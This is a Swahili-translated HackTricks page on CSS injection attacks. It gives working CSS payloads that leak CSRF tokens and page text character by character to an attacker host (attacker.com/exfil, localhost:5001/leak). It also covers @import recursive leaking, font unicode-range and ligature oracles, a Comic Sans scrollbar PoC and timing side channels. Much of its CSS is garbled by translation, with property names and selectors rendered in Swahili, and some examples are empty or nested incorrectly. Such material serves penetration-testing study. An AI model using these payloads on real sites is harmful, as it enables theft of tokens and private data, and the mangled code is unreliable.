# Kuingiza CSS
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Kuingiza CSS ### Chaguo la Sifa Vichaguzi vya CSS vimeundwa kufanana na thamani za sifa za `jina` na `thamani` za kipengele cha `input`. Ikiwa thamani ya sifa ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa hulandwa: ```css input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); } input[name=csrf][value^=b]{ background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name=csrf][value^=9]{ background-image: url(https://attacker.com/exfil/9); } ``` Hata hivyo, njia hii inakabiliwa na kikwazo wakati wa kushughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma. #### Kupita kwa Vipengele Vilivyofichwa Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia: ```css input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika sehemu ya msimbizo wa nambari iliyotolewa. Unaweza kuiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Vigezo vya Awali kwa CSS Injection Kwa mbinu ya CSS Injection kuwa na ufanisi, hali fulani lazima zikutane: 1. **Urefu wa Mzigo**: Vector ya CSS injection lazima iweze kusaidia mzigo wa kutosha kuwezesha wachaguzi ulioandaliwa. 2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda fremu ya ukurasa, ambayo ni muhimu kusababisha upya wa CSS na mzigo uliozalishwa hivi karibuni. 3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuzuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti. ### Mchaguzi wa Vipengele Viziwi Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguzi **`:has`** na **`:not`** kutambua maudhui hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\ Pia inawezekana kutumia wachaguzi hao kutoa habari kutoka kwa vikundi kadhaa vya aina ileile kama vile: ```html ``` Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, ni rahisi kuchota mengi ya **maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** ### @import Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka iframe kwenye ukurasa unaoweza kuingiliwa na CSS**. Hata hivyo, kuna mbinu nyingine nzuri inayotumia **CSS `@import`** kuboresha ubora wa mbinu. Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo: Badala ya kupakia ukurasa huo mara kwa mara na zaidi ya mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio mizigo ya kutuma kwa muathiriwa): ```css @import url('//attacker.com:5001/start?'); ``` 1. Import itapokea **CSS script** kutoka kwa wachomaji na **kivinjari kitaiload**. 2. Sehemu ya kwanza ya CSS script wachomaji watatuma ni **`@import` nyingine kwa server ya wachomaji tena**. 3. Server ya wachomaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu ombi hili na mzigo wa kuvuja wengine. 4. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la mteule** 5. Hii itatuma kwa server ya wachomaji **herufi ya kwanza ya siri na ya mwisho** 6. Mara server ya wachomaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu ombi la import lililoulizwa katika hatua ya 2. 7. Majibu yatakuwa sawa na **hatua 2, 3 na 4**, lakini wakati huu itajaribu **kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho**. Mchomaji ataendelea **mzunguko huo hadi aweze kuvuja kabisa siri**. Unaweza kupata [**mimba ya Pepe Vila ya kuitumia hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**mimba ile ile lakini imefafanuliwa hapa**.](./#css-injection) {% hint style="info" %} Mzigo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la mteule linaruhusu kufanya mambo kama: ```css /* value^= to match the beggining of the value*/ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} /* value$= to match the ending of the value*/ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} ``` Hii inaruhusu script kuvuja siri haraka. {% endhint %} {% hint style="warning" %} Wakati mwingine script **haigundui kwa usahihi kwamba kipimo + kufikishwa kilichogunduliwa tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo) na nyuma (kwenye kufikishwa) na wakati fulani itasimama.\ Usiwe na wasiwasi, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**. {% endhint %} ### Selectors Nyingine Njia nyingine za kufikia sehemu za DOM na **vichujio vya CSS**: * **`.darasa-ya-kutafuta:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "darasa-ya-kutafuta" kwenye DOM. * Chaguo la **`:tupu`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:tupu { background-image: url("URL_YAKO_YA_SERVER?1"); } ``` ### XS-Search Inayotegemea Makosa **Marejeleo:** [Shambulio la Kulingana na CSS: Kutumia unicode-range ya @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC Inayotegemea Makosa na @terjanq](https://twitter.com/terjanq/status/1180477124861407234) Nia kuu ni **kutumia fonti ya desturi kutoka kwa kituo kilichodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonyeshwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**. ```html A ``` 1. **Matumizi ya Fonti ya Kipekee**: - Fonti ya kipekee inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `

AB

htm ``` Wakati unapofikia ukurasa huu, Chrome na Firefox huchukua "?A" na "?B" kwa sababu kipande cha maandishi cha sensitive-information kina wahusika "A" na "B". Lakini Chrome na Firefox huchukui "?C" kwa sababu haina "C". Hii inamaanisha kwamba tumeweza kusoma "A" na "B". ### Udukuzi wa kipande cha maandishi (I): ligatures **Kumbukumbu:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia ligatures ya fonti na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa: 1. **Uundaji wa Fonti za Kibinafsi**: - Fonti za SVG zinaundwa na glyphs zenye sifa ya `horiz-adv-x`, ambayo huanzisha upana mkubwa kwa glyph inayowakilisha mfululizo wa wahusika wawili. - Mfano wa glyph ya SVG: ``, ambapo "XY" inaashiria mfululizo wa wahusika wawili. - Fonti hizi kisha hubadilishwa kuwa muundo wa woff kwa kutumia fontforge. 2. **Ugunduzi wa Mabadiliko ya Upana**: - CSS hutumiwa kuhakikisha kuwa maandishi hayapindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar. - Kuonekana kwa scrollbar ya usawa, iliyopambwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfululizo maalum wa wahusika, upo katika maandishi. - CSS inayohusika: ```css mwili { white-space: nowrap }; mwili::-webkit-scrollbar { background: blue; } mwili::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Mchakato wa Udukuzi**: - **Hatua 1**: Fonti zinaundwa kwa jozi za wahusika wenye upana mkubwa. - **Hatua 2**: Mbinu ya kudanganya kwa kutumia scrollbar hutumiwa kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya wahusika) inapojengwa, ikionyesha uwepo wa mfululizo wa wahusika. - **Hatua 3**: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika wa awali au wafuatao. - **Hatua 4**: Ugunduzi wa ligature ya wahusika watatu unafanywa. - **Hatua 5**: Mchakato unarudia, ukifunua taratibu maandishi yote. 4. **Uboreshaji**: - Mbinu ya sasa ya kuanzisha kutumia ` **Kumbukumbu:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) Mbinu hii ilizinduliwa katika [**Mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika. Mbinu hii inahusisha kutumia uhuishaji kuongeza taratibu upana wa `div`, kuruhusu wahusika mmoja baada ya mwingine kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili: 1. **Awali**: Mstari wa kwanza. 2. **Suffix**: Mstari/mistari inayofuata. Hatua za mpito za wahusika zitaonekana kama ifuatavyo: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** Wakati wa mpito huu, **mtego wa unicode-range** unatumika kutambua kila wahusika mpya wanapojiunga na awali. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika awali. Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haifafanui ni wahusika gani wanaorudiwa, tu kwamba kurudi kumetokea. {% hint style="info" %} Kimsingi, **unicode-range hutumiwa kutambua wahusika**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.\ Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyowekwa tayari**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika waliopatikana**. {% endhint %} Angalia nambari iliyochimbuliwa kutoka kwa PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;} @font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;} @font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;} @font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;} @font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;} @font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;} @font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;} @font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;} @font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;} @font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;} @font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;} @font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;} @font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;} @font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;} @font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;} @font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;} @font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;} @font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;} @font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;} @font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;} @font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;} @font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;} @font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;} @font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;} @font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;} @font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;} @font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;} @font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;} @font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;} @font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;} @font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;} @font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;} @font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;} @font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;} @font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;} @font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;} @font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF} div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line{ font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px } 1% { width: 20px } 2% { width: 40px } 3% { width: 60px } 4% { width: 80px } 4% { width: 100px } ```css 5% { upana: 120px } 6% { upana: 140px } 7% { upana: 0px } } div::-webkit-scrollbar { background: bluu; } /* upande wa channel */ div::-webkit-scrollbar:vertical { background: bluu var(--leak); } ``` ### Kuvuja kwa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali za nje) **Kumbukumbu:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Katika kesi hii, tunaweza kujaribu kuvuja ikiwa herufi iko katika maandishi kwa kupakia font bandia kutoka asili ile ile: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukishea**, na hata kama hakuna cache, kuna **muhimu wa 304 isiyobadilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine. Hata hivyo, ikiwa tofauti ya wakati wa jibu lililohifadhiwa na lile lisililohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya majaribio, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria kweli. ### Uchimbaji wa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) **Marejeo:** Hii imeelezwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati kuna mechi. Kwa njia hii unaweza **kupima muda** unachukua na kugundua ikiwa herufi inaonekana au la na kitu kama hicho: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` Na msimbo wa boti unaonekana kama huu: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` Kwa hivyo, ikiwa herufi hazifanani, wakati wa kujibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya herufi, maombi mengi yatapelekwa kuchukua herufi, ikisababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea jibu. Kwa hivyo, muda wa kujibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna mechi ya herufi. ## Marejeo * [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) * [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) * [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) * [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) **Kikundi cha Usalama cha Kujaribu Kwa Bidii**
{% embed url="https://discord.gg/tryhardsecurity" %}
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.